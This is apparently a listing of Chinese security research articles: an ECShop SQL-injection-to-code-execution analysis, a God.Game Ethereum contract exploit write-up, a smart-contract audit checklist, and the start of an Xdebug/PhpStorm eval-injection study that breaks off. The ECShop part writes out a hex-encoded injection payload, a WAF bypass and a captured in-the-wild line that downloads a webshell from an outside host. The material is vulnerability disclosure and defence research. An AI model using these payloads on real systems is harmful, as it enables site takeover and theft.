    可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display函数

    user.php调用display函数,传递进来的$filenameuser_passport.dwt,从函数来看,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下:

    make_compiled会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量$back_act传递进去了,解析完变量之后返回到display函数中。此时$out是解析变量后的html内容,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

    由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。跟进$this->insert_mod

    $val传递进来,先用|分割,得到$fun$para$para进行反序列操作,$funinsert_拼接,最后动态调用$fun($para),函数名部分可控,参数完全可控。接下来就是寻找以insert_开头的可利用的函数了,在ecshop/includes/lib_insert.php有一个insert_ads函数,正好满足要求。看下insert_ads

    $arr是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。

    根据上面的流程,可以构造出如下形式的payload

    实际可利用payload

    代码执行

    继续看insert_ads函数

    可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用display,然后调用fetch的时候传入的参数是user_passport.dwt,而在此处传入的参数是$position_style,向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控。

    要到$position_style = $row['position_style'];还有一个条件,就是$row['position_id']要等于$arr['id'],查询结果可控,arr['id']同样可控。

    之后$position_style会拼接'str:'传入fetch函数,跟进fetch

    因为之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

    第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则

    这个正则是将捕获到的值交于$this-select()函数处理。例如,$source的值是xxx{$abc}xxx,正则捕获到的group 1 就是$abc,然后就会调用$this-select("$abc")

    跟进select函数

    当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

    当传入的变量没有.$时,调用$this->make_var,跟进make_var

    在这里结合select函数里面的语句来看,<?php echo $this->_var[' $val '];?>,要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$valabc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

    接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

    结合之前的SQL漏洞的payload构造,所以最终的payload的是

    可以看到成功的执行了phpinfo()

    ECShop 3.x 绕过

    上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

    下面的测试版本为ECshop3.0,3.x版本的echash45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。

    实际攻击分析

    上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

    第一阶:0day在野之“APT攻击” (2018年6月13日)

    首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入,如下

    把捕获的 payload 转码出来看

    恶意代码

    base64部分的内容是

    可以看到,没有写入 webshell,而是直接接收$_POST['Nox']参数,进行base64解码后直接传入eval函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。

    本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。

    第二阶:0day在野之“黑产攻击” (2018年8月)

    在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:

    // file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。

    从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。

    第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)

    在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。

    从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动中,榨干这个漏洞的最后一滴“油水”...

    漏洞影响范围及修复

    根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。

    漏洞修复

    目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

    看到ecshop4/ecshop/includes/lib_insert.php

    可以看到,将传递进来的$arr[id]$arr[num]强制转换成整型,这样就没法利用这个漏洞了。

    另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

    小结

    本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...

    感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~

    参考链接


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/695/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • 智能合约游戏之殇——God.Game 事件分析

    2018-08-29

    作者:Sissel@知道创宇404区块链安全研究团队
    时间:2018年8月24日

    0x00 前言

    当你凝视深渊时,深渊也在凝视着你。

    越来越多的乐透、赌博游戏与区块链体系结合起来,步入众多投资者和投机者的视野中。区块链可以说是这类游戏的温床。正面来说,区块链的可信机制与合约的公开,保证了游戏的中立。另一方面,区块链的非实名性,也让玩家的个人信息得以隐藏。

    分红、邀约、股息,这些游戏看似利益诱人,实则一个个都是庞氏骗局。游戏火了,诈骗满满皆是。每个人都信心满满地走进游戏,投入大笔资金,希望自己成为受益者,别人都是自己的接盘侠。这样的游戏,只有两个结局,不是游戏所有者获益,就是半路杀进游戏的区块链黑客卷走一切,让玩家血本无归,无一例外。日复一日,无数投机者交了学费,空手而归,却又毫不死心,重入深渊。

    游戏依然层出不穷,不信邪的人也是接连不断。近日,国内出现了一款类PoWH的银行游戏,在两周的宣传过后,短短数日,就完成了游戏创建、集资、黑客卷钱走人这一整个流程,让无数玩家措手不及。

    时间线

    • 2018年08月19日晚十一点半,宣传良久的区块链赌博游戏God.Game合约被创建于以太坊6176235区块。在之后的两天时间,游戏内加入了大量玩家,合约内存储的以太币也增加到了243eth。
    • 2018年08月21日凌晨一点钟,攻击者经过简单的测试,部署了一个攻击合约。短短几分钟时间,利用游戏合约漏洞,将合约账户的eth洗劫为空。

    知道创宇404区块链安全研究团队得知此事件后,对游戏合约进行了仔细审计,复现了攻击者的手法,接下来,将对整个事件进行完整的分析,并给出一种简洁的利用方式。

    0x01 合约介绍

    智能合约名为God,地址为 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d,部署于 6176235,发行了名为God币的代币(erc20 token)。

    God.Game主要是一个银行合约,代码有上千行,较为复杂。如果之前对PoWH3D等类似合约有过接触,God便不难理解。下面我们介绍些简单概念。

    ERC20 token

    token代表数字资产,具有价值,通过智能合约发行于区块链上,我们可以称之为代币。符合ERC20协议的代币可以更容易互换,方便的在交易所上市。God币便是符合ERC20协议的代币。

    合约功能

    在God.Game中,你可以通过eth购买token(god币),当你拥有了token,相当于参加了这个游戏。

    • 购买token:会产生一定的手续费,除了主办方会收取一部分外,还有一部分将会均分给所有token持有者,也就是所谓的分红。
    • 转账token:你可以将手中的token转账给他人。
    • 出售token:将手中的token出售为可提款。
    • 提取红利:将分红转为以太币提取出来。
    • 邀请机制:当你拥有多于100个token,将开启邀请系统。他人使用你的地址,你将会获得较多的手续费提成作为分红。【攻击未涉及该功能】

    token与eth的兑换、分红的多少,都与token的总量以及持有者有关,不断变化。

    代码浅析

    我们将简要介绍合约中出现的几个重要变量。

    在开始介绍前,请先记住一个概念:红利由 账户token的价值 - payout 得到,时常变化,而不是记录这个变量

    用户信息

    • token【代币】是确定的数量,用户的token仅可通过自己buy、sell、transfer变动。
    • token * profitPerShare 可以看作是账户token的价值
    • payouts 我们称之为已经用过的钱。【这个定义并不严谨,可以叫控制账户红利的值】
    • token * profitPerShare - payoutsTo_ 可以看作用户在此合约内现在可以使用的钱, 定义为红利。

    合约通过控制payoutsTo的值,来控制用户可用的钱,即红利【用来提eth,或再向God合约购买token】。

    全局变量

    以下变量是全局中浮动的

    重要的临时变量

    dividends = 账户总价值 - 已用的钱【payout】

    dividends这个变量并不存储,不然每当其他参数变动时,需要计算所有人的分红。

    每次使用时,通过myDividends(false)计算,而这个函数在不涉及推荐功能时,仅调用了dividendsOf(address customerAddress)

    这里也是本次攻击的溢出点。

    0x02 漏洞点

    漏洞点有两处,简而言之,是当被转账账户是合约账户时,处理有误造成的。

    计算分红

    从上面得知,分红可用来提eth,或再次购买token。 分红本应永远为正数,这里的减法未使用safeMath,最后还强制转换uint,会造成整数溢出。 我们需要控制payoutsTo和token的关系。

    转账transfer()

    我们看到,如论如何转账,token一定是一方减少,另一方增加,符合代币的特点。

    这里是God中,针对转账双方的账户类型【外部账户、合约账户】采取的不同操作。

    我们会发现,transfer()函数并未对合约账户的payoutsTo进行操作。而是仅修改了contractPayout这个和God合约参数有关的全局变量。

    导致合约账户中 token(很多) * profitPerShare(常量) - payoutsTo(0) 非常大。正常来讲,payoutsTo应该变大,令账户的dividends为 0。

    这种写法非常奇怪,在ERC20的协议中,当被转账账户为合约时,只需要合约拥有该代币的回调函数即可,没有别的要求。

    0x03 攻击链

    这样我们就可以得到大致的攻击链: 再次注意,红利 dividens = token * token价值 - payout(用户已经花了的部分)。 即 可用的钱 = 总价值 - 已用的钱

    1. 攻击者 ==转账==> 攻击合约
      合约状况:
    2. 攻击合约 withdraw()
      合约状况:
    3. 攻击合约 ==转账==> 攻击者
      合约状况:
    4. 攻击合约 reinvest()
      合约状况:

    再投资【使用红利购买token】,通过大量的红利,可以随意购买token,进而sell()+withdraw()提出eth,完成攻击。

    0x04 实际流程

    攻击者首先部署了几个测试的攻击合约,因为一些原因之后未使用,可能仅供测试。

    攻击合约逆向

    知道创宇404区块链安全研究团队使用昊天塔,对攻击者部署的合约进行了逆向,得到了攻击合约大致代码。

    得到的函数列表

    而具体分析函数内容,发现该合约大部分函数都是以本合约发起对God合约的调用,例如:

    对照攻击者交易明细,我们来复现攻击流程。我们假设token对应红利是1:1,便于解释。

    1. 部署攻击合约
      tx:1. 部署合约 攻击者部署合约,准备攻击。 合约地址:0x7F325efC3521088a225de98F82E6dd7D4d2D02f8
    2. 购买token
      tx:2. 购买token 攻击者购买一定量token,准备攻击。
    3. 向攻击合约转账token
      tx:3. transfer(attacker -> attack-contract) 攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
    4. 攻击合约withdraw()
      tx:4. withdraw() 攻击合约调用了God的withdraw(),攻击合约因此获得了红利对应以太币【不重要】
    5. 攻击合约transfer()
      tx:5. transfer(attack-contract -> attacker) 将token转回,攻击合约token不变,红利溢出。
    6. 攻击合约reinvest()
      tx:6. reinvest() 再投资,将红利买token,可以大量购买token。
    7. 攻击合约sell()
      tx:7. sell() 卖出一部分token,因为发行的token过多,会导致token价值太低,提取以太币较少。
    8. 攻击合约transfer()
      tx:8. transfer(attack-contract -> 受益者) 把智能合约账户的token转给受益者(0xc30e)一部分。
    9. 受益者sell()+withdraw()
      受益者(0xc30e)卖掉token,并withdraw()红利,得到以太币。

    0x05 更简单的攻击手法

    回顾上述攻击流程,攻击成立主要依赖红利由 token - payout 得到,时常变化,而不是记录这个特性。

    在交易token时,变化的只是双方持有的token数,双方的红利应该不变,换言之,就是用户的payout也需要变化才能保证红利变化。

    漏洞就在于在用户和合约交易token时,合约方的payout并没有相应的增加,导致红利平白无故的多出来,最终导致了凭空生币。

    这样一来,我们就可以使用更简单的攻击手法。

    下面是详细的介绍:

    1. 攻击者 ==转账==> 攻击合约
      合约收到转账时,红利本应为0,却变得很多,账户可用资金变得很多。
    2. 攻击合约 withdraw()
      把可用的钱提款为eth,token不变。
    3. 攻击合约 ==转账==> 攻击者
      token原路返回攻击者,token不变,但合约中多出了 eth 。

    我们发现智能合约在这个过程中,因为接受转账未增加payout,导致在第二步中可以提取不少的以太币,并在第三步将token原路转回。 这一过程,合约账户便可凭空得到以太币。而只需要支付一部分手续费以及token的轻微贬值。如此反复创建新的合约,并按以上步骤,可以提出God.Game中大量的以太币。

    注意事项

    此攻击方法理论成立,还需仔细考察手续费和token价值变化等细节问题,但从合约中提取部分以太币是可行的。

    具体分析

    1. 购买token
      攻击者购买一定量token,准备攻击。
    2. 向攻击合约转账token
      攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
    3. 攻击合约调用 withdraw()
      withdraw() 的主要逻辑如下:
      攻击合约调用withdraw(),通过以太币的形式取出利息 dividents。
    4. 攻击合约transfer()
      将token转回,攻击者token恢复为1000。

    0x06 总结

    以上就是God.Game合约的分析,以及本次攻击的复现。这次攻击的发生距离合约部署仅有两天,整个攻击流程非常巧妙。按照前面的分析,仅通过合约账户的withdraw()就可以提出以太币。但攻击者还利用了红利溢出,进而获得了大量的token。根据上面多方面因素,虽然主办方在事件发生后声明自己是受害者。但是根据telegram上记录,主办方在游戏开始之前就再未查看玩家群。这些现像,引人深思。

    区块链游戏看似充满诱惑,实则迷雾重重。无论如何谨慎,都有可能跌入深渊。谁也不知道游戏背后的创建者究竟有什么打算,但人皆贪婪,有钱财的地方,必有隐患。

    0x07 相关链接


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    附录1 此次事件相关地址

    • God合约创建者 0x802dF0C73EB17E540b39F1aE73C13dcea5A1CAAa
    • God合约地址 0xCA6378fcdf24Ef34B4062Dda9F1862Ea59BaFD4d
    • 最终以太币存储的账户 0xC30E89DB73798E4CB3b204Be0a4C735c453E5C74
    • 攻击者 0x2368beb43da49c4323e47399033f5166b5023cda
    • 攻击合约 0x7f325efc3521088a225de98f82e6dd7d4d2d02f8

    附录2 God.Game合约的函数分析

    • buy() - 购买token

    • sell() - 出售token

    未使用的分红增加,可用来withdraw(提款)或reinvest(再投资)。

    • withdraw() - 将分红清0,分红换为eth取出

    清零分红,获得相应的eth。

    • reinvest() - 再投资

    消耗掉账户的分红,换成token。

    • transfer() - 转账

    from:

    to:

    附录3 根据昊天塔逆向结果,构造的攻击合约


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/683/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告

    2018-08-29

    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年8月22日
    本系列上一篇:《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》

    一、 简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“条件竞争问题”、“循环DoS问题”等问题统一归类为“以太坊智能合约设计缺陷问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约设计缺陷”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    1、条件竞争

    2016年11月29号,Mikhail Vladimirov和Dmitry Khovratovich公开了一篇《ERC20 API: An Attack Vector on Approve/TransferFrom Methods》,在文章中提到了一个在ERC20标准中存在的隐患问题,条件竞争

    这里举一个approve函数中会出现的比较典型的例子,approve一般用于授权,比如授权别人可以取走自己的多少代币,整个流程是这样的:

    1. 用户A授权用户B 100代币的额度
    2. 用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50
    3. 用户B在待交易处(打包前)看到了这笔交易
    4. 用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币
    5. 用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币

    想要理解上面这个条件竞争的原理,首先我们得对以太坊的打包交易逻辑有基础认识。

    https://medium.com/blockchannel/life-cycle-of-an-ethereum-transaction-e5c66bae0f6e

    简单来说就是

    1. 只有当交易被打包进区块时,他才是不可更改的
    2. 区块会优先打包gasprice更高的交易

    所以当用户B在待打包处看到修改的交易时,可以通过构造更高gasprice的交易来竞争,将这笔交易打包到修改交易之前,就产生了问题。

    以下代码就存在条件竞争的问题

    2、循环DoS问题

    在以太坊代码中,循环是一种很常见的结构,但由于以太坊智能合约的特殊性,在循环也有很多需要特别注意的点, 存在潜在的合约问题与安全隐患。

    1) 循环消耗问题

    在以太坊中,每一笔交易都会消耗一定的gas,而交易的复杂度越高,则该交易的gasprice越高。而在区块链上,每个区块又有最大gas消耗值限制,且在矿工最优化收益方案中,如果一个交易的gas消耗过大,就会倾向性把这个交易排除在区块外,从而导致交易失败。

    所以,对于合约内的循环次数不宜过大,在循环中的代码不宜过于复杂。

    如果上述代码地址列表过长,就有可能导致交易失败。

    2018年7月23日,Seebug Paper发表的《首个区块链 token 的自动化薅羊毛攻击分析》中攻击合约就提到了这种gas优化方式。

    2) 循环安全问题

    在以太坊中,应该尽量避免循环次数受到用户控制,攻击者可能会使用过大的循环来完成Dos攻击。

    当攻击者通过不断添加address列表长度,来迫使该函数执行循环次数过多,导致合约无法正常维护,函数无法执行。

    2016年,GovernMental合约代币被爆出恶意攻击,导致地址列表过长无法执行,超过1100 ETH被困在了合约中。

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约审计功能规则,我们对全网的公开的共39548 个合约代码进行了扫描,其中共24791个合约涉及到这类问题。

    1、 条件竞争

    截止2018年8月10日为止,我们发现了22981个存在approve条件竞争的合约代码,其中15325个合约仍处于交易状态,其中交易量最高的10个合约情况如下:

    2、 循环DoS问题

    截止2018年8月10日为止,我们发现了1810个存在潜在循环dos问题的合约代码,其中1740个合约仍处于交易状态,其中交易量最高的10个合约情况如下:

    四、修复方式

    1)条件竞争

    关于这个问题的修复方式讨论很多,由于这属于底层特性的问题,所以很难在智能合约层面做解决,在代码层面,我们建议在approve函数中加入

    将这个条件加入,在每次修改权限时,将额度修改为0,再将额度改为对应值。

    在这种情况下,合约管理者可以通过日志或其他手段来判断是否有条件竞争发生,从风控的角度警醒合约管理者注意该问题的发生。范例代码如下:

    2)循环DoS问题

    在面临循环DoS问题产生的场景中,最为常见的就是向多个用户转账这个功能。

    这里推荐代码中尽量避免用户可以控制循环深度,如果无法避免的话,尽量使用类似withdrawFunds这种函数,循环中只分发用户提币的权限,让用户来提取属于自己的代币,通过这种操作可以大幅度节省花费的gas开支,也可以一定程度避免可能导致的问题。代码如下所示:

    五、一些思考

    在分析了许多智能合约已有的漏洞以及合约以后,我发现有一类问题比较特殊,这些问题的诞生根本原因都是因为以太坊智能合约本身的设计缺陷,再加上开发者对此没有清晰的认识,导致了合约本身的一些隐患。

    文章中提到的条件竞争是个比较特殊的问题,这里的条件竞争涉及到了智能合约底层实现逻辑,本身打包逻辑存在条件竞争,我们无法在代码层面避免这个问题,但对于开发者来说,比起无缘无故的因为该问题丢失代币来说,更重要的是合约管理者可以监控到每一笔交易的结果,所以我们加入置0的操作来提醒合约管理者、代币持有者该问题,尽量避免这样的操作发生。

    而循环Dos问题就是一个针对开发者的问题,每一次操作就是一次交易,每次交易就要花费gas,交易越复杂花费的gas越多,而在区块链上,每个区块又有最大gas消耗值限制,且在矿工最优化收益方案中,如果一个交易的gas消耗过大,就会倾向性把这个交易排除在区块外,从而导致交易失败。这也就直接导致了在交易中,我们需要尽可能的优化gas花费,避免交易失败。

    我们在对全网公开的合约代码进行扫描和监控时容易发现,有很大一批开发人员并没有注意到这些问题,其中条件竞争问题甚至影响广泛,有超过一半以上的公开代码都受到影响。

    这里我们建议所有的开发者重新审视自己的合约代码,检查是否存在设计缺陷问题,避免不必要的麻烦以及安全问题。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:

    六、REF


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/679/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • Xdebug 攻击面在 PhpStorm 上的现实利用

    2018-08-29

    作者: dawu@知道创宇404实验室
    日期:2018/08/16

    0x00 前言

    在调试 Drupal 远程命令执行漏洞(CVE-2018-7600 && CVE-2018-7602)时,存在一个超大的数组 $form 。在该数组中寻找到注入的变量,可以帮助调试人员确认攻击是否成功。

    但是作为一个安全研究人员,在调试时也保持着一颗发现漏洞的心,所以知道 $form 中的每一个元素的内容就十分重要了。然而 PhpStorm 这款调试工具需要不断的点击才能看到数组中各元素的值,这显然非常低效。

    笔者在官方手册中发现了一种解决方案:

    但是 Evaluate in Console 看上去就具有一定的危险性,所以笔者深入研究了该功能的实现过程并成功通过 PhpStormXdebug 服务器上执行了命令。

    0x01 准备工作

    1.1 Xdebug的工作原理和潜在的攻击面

    Xdebug 工作原理和潜在的攻击面前人已有部分文章总结:

    综合上述参考链接,已知的攻击面有:

    1. eval 命令: 可以执行代码。
    2. property_set && property_get 命令: 可以执行代码
    3. source 命令: 可以阅读源码。
    4. 利用 DNS 重绑技术可能可以导致本地 Xdebug 服务器被攻击。

    就本文而言 PhpStormXdebug 进行调试的工作流程如下:

    1. PhpStorm 开启调试监听,默认绑定 90001013720080 端口等待连接。
    2. 开发者使用 XDEBUG_SESSION=PHPSTORM (XDEBUG_SESSION的内容可以配置,笔者设置的是PHPSTORM) 访问 php 页面。
    3. Xdebug 服务器反连至 PhpStorm 监听的 9000 端口。
    4. 通过步骤3建立的连接,开发者可以进行阅读源码、设置断点、执行代码等操作。

    如果我们可以控制 PhpStorm 在调试时使用的命令,那么在步骤4中攻击面 123 将会直接威胁到 Xdebug 服务器的安全。

    1.2 实时嗅探脚本开发

    工欲善其事,必先利其器。笔者开发了一个脚本用于实时显示 PhpStormXdebug 交互的流量(该脚本在下文截图中会多次出现):

    0x02 通过 PhpStormXdebug 服务器上执行命令

    2.1 通过 Evaluate in Console 执行命令

    通过上文的脚本,可以很清晰的看到我们在执行 Evaluate in Console 命令时发生了什么(红色部分是 base64 解码后的结果):

    如果我们可以控制 $q,那我们就可以控制 eval 的内容。但是在 PHP 官方手册中,明确规定了变量名称应该由 a-zA-Z_\x7f-\xff 组成:

    Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

    所以通过控制 $q 来控制 eval 的内容并不现实。但是在 PhpStorm 获取数组中某个元素时,会将该元素的名称带入 eval 的语句中。

    如图所示,定义数组如下: $a = ( "aaa'bbb"=>"ccc"),并在 PhpStorm 中使用 Evaluate in Console 功能。

    可以看到单引号未做任何过滤,这也就意味着我可以控制 eval 的内容了。在下图中,我通过对 $a['aaa\'];#'] 变量使用 Evaluate in Console 功能获取到 $a['aaa'] 的值。

    精心构造的请求和代码如下:

    但在这个例子中存在一个明显的缺陷:可以看到恶意的元素名称。如果用于钓鱼攻击,会大大降低成功率,所以对上述的代码进行了一定的修改: